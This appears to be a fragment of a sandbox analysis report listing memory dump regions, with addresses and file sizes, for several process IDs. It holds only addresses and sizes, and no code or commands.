                                                                        • memory/1160-13-0x0000000000ED0000-0x0000000000EE2000-memory.dmp

                                                                          Filesize

                                                                          72KB

                                                                        • memory/1160-100-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

                                                                          Filesize

                                                                          10.8MB

                                                                        • memory/1160-409-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

                                                                          Filesize

                                                                          10.8MB

                                                                        • memory/1160-313-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

                                                                          Filesize

                                                                          10.8MB

                                                                        • memory/1740-132-0x00007FF8F3B20000-0x00007FF8F3B4B000-memory.dmp

                                                                          Filesize

                                                                          172KB

                                                                        • memory/1740-368-0x0000023DCCC10000-0x0000023DCD143000-memory.dmp

                                                                          Filesize

                                                                          5.2MB

                                                                        • memory/1740-55-0x00007FF8E05B0000-0x00007FF8E0C13000-memory.dmp

                                                                          Filesize

                                                                          6.4MB

                                                                        • memory/1740-111-0x00007FF8E0DD0000-0x00007FF8E0E83000-memory.dmp

                                                                          Filesize

                                                                          716KB

                                                                        • memory/1740-101-0x00007FF8DFD30000-0x00007FF8DFDFE000-memory.dmp

                                                                          Filesize

                                                                          824KB

                                                                        • memory/1740-387-0x00007FF8F4AA0000-0x00007FF8F4AC7000-memory.dmp

                                                                          Filesize

                                                                          156KB

                                                                        • memory/1740-102-0x0000023DCCC10000-0x0000023DCD143000-memory.dmp

                                                                          Filesize

                                                                          5.2MB

                                                                        • memory/1740-103-0x00007FF8E05B0000-0x00007FF8E0C13000-memory.dmp

                                                                          Filesize

                                                                          6.4MB

                                                                        • memory/1740-106-0x00007FF8DF7F0000-0x00007FF8DFD23000-memory.dmp

                                                                          Filesize

                                                                          5.2MB

                                                                        • memory/1740-107-0x00007FF8F3090000-0x00007FF8F309D000-memory.dmp

                                                                          Filesize

                                                                          52KB

                                                                        • memory/1740-108-0x00007FF8E9510000-0x00007FF8E9524000-memory.dmp

                                                                          Filesize

                                                                          80KB

                                                                        • memory/1740-109-0x00007FF8F4AA0000-0x00007FF8F4AC7000-memory.dmp

                                                                          Filesize

                                                                          156KB

                                                                        • memory/1740-94-0x00007FF8F3B00000-0x00007FF8F3B19000-memory.dmp

                                                                          Filesize

                                                                          100KB

                                                                        • memory/1740-270-0x00007FF8E0430000-0x00007FF8E05AF000-memory.dmp

                                                                          Filesize

                                                                          1.5MB

                                                                        • memory/1740-95-0x00007FF8F3880000-0x00007FF8F388D000-memory.dmp

                                                                          Filesize

                                                                          52KB

                                                                        • memory/1740-96-0x00007FF8E9530000-0x00007FF8E9564000-memory.dmp

                                                                          Filesize

                                                                          208KB

                                                                        • memory/1740-90-0x00007FF8E0430000-0x00007FF8E05AF000-memory.dmp

                                                                          Filesize

                                                                          1.5MB

                                                                        • memory/1740-87-0x00007FF8F3C90000-0x00007FF8F3CA9000-memory.dmp

                                                                          Filesize

                                                                          100KB

                                                                        • memory/1740-88-0x00007FF8E9570000-0x00007FF8E9595000-memory.dmp

                                                                          Filesize

                                                                          148KB

                                                                        • memory/1740-84-0x00007FF8F3B20000-0x00007FF8F3B4B000-memory.dmp

                                                                          Filesize

                                                                          172KB

                                                                        • memory/1740-78-0x00007FF8FB520000-0x00007FF8FB52F000-memory.dmp

                                                                          Filesize

                                                                          60KB

                                                                        • memory/1740-60-0x00007FF8F4AA0000-0x00007FF8F4AC7000-memory.dmp

                                                                          Filesize

                                                                          156KB

                                                                        • memory/1740-347-0x00007FF8E9530000-0x00007FF8E9564000-memory.dmp

                                                                          Filesize

                                                                          208KB

                                                                        • memory/1740-214-0x00007FF8E9570000-0x00007FF8E9595000-memory.dmp

                                                                          Filesize

                                                                          148KB

                                                                        • memory/1740-367-0x00007FF8DFD30000-0x00007FF8DFDFE000-memory.dmp

                                                                          Filesize

                                                                          824KB

                                                                        • memory/1740-369-0x00007FF8DF7F0000-0x00007FF8DFD23000-memory.dmp

                                                                          Filesize

                                                                          5.2MB

                                                                        • memory/1740-371-0x00007FF8E05B0000-0x00007FF8E0C13000-memory.dmp

                                                                          Filesize

                                                                          6.4MB

                                                                        • memory/1740-385-0x00007FF8E0DD0000-0x00007FF8E0E83000-memory.dmp

                                                                          Filesize

                                                                          716KB

                                                                        • memory/1740-377-0x00007FF8E0430000-0x00007FF8E05AF000-memory.dmp

                                                                          Filesize

                                                                          1.5MB

                                                                        • memory/1740-386-0x00007FF8E05B0000-0x00007FF8E0C13000-memory.dmp

                                                                          Filesize

                                                                          6.4MB

                                                                        • memory/1740-400-0x00007FF8E0DD0000-0x00007FF8E0E83000-memory.dmp

                                                                          Filesize

                                                                          716KB

                                                                        • memory/1740-402-0x00007FF8F3090000-0x00007FF8F309D000-memory.dmp

                                                                          Filesize

                                                                          52KB

                                                                        • memory/1740-401-0x00007FF8E9510000-0x00007FF8E9524000-memory.dmp

                                                                          Filesize

                                                                          80KB

                                                                        • memory/1740-397-0x00007FF8DF7F0000-0x00007FF8DFD23000-memory.dmp

                                                                          Filesize

                                                                          5.2MB

                                                                        • memory/1740-396-0x00007FF8DFD30000-0x00007FF8DFDFE000-memory.dmp

                                                                          Filesize

                                                                          824KB

                                                                        • memory/1740-395-0x00007FF8E9530000-0x00007FF8E9564000-memory.dmp

                                                                          Filesize

                                                                          208KB

                                                                        • memory/1740-394-0x00007FF8F3880000-0x00007FF8F388D000-memory.dmp

                                                                          Filesize

                                                                          52KB

                                                                        • memory/1740-393-0x00007FF8F3B00000-0x00007FF8F3B19000-memory.dmp

                                                                          Filesize

                                                                          100KB

                                                                        • memory/1740-392-0x00007FF8E0430000-0x00007FF8E05AF000-memory.dmp

                                                                          Filesize

                                                                          1.5MB

                                                                        • memory/1740-391-0x00007FF8E9570000-0x00007FF8E9595000-memory.dmp

                                                                          Filesize

                                                                          148KB

                                                                        • memory/1740-390-0x00007FF8F3C90000-0x00007FF8F3CA9000-memory.dmp

                                                                          Filesize

                                                                          100KB

                                                                        • memory/1740-389-0x00007FF8F3B20000-0x00007FF8F3B4B000-memory.dmp

                                                                          Filesize

                                                                          172KB

                                                                        • memory/1740-388-0x00007FF8FB520000-0x00007FF8FB52F000-memory.dmp

                                                                          Filesize

                                                                          60KB

                                                                        • memory/3084-237-0x000001F1D0E70000-0x000001F1D0E78000-memory.dmp

                                                                          Filesize

                                                                          32KB

                                                                        • memory/4528-0-0x00007FF8E41C3000-0x00007FF8E41C5000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/4528-1-0x0000000000C40000-0x00000000013EA000-memory.dmp

                                                                          Filesize

                                                                          7.7MB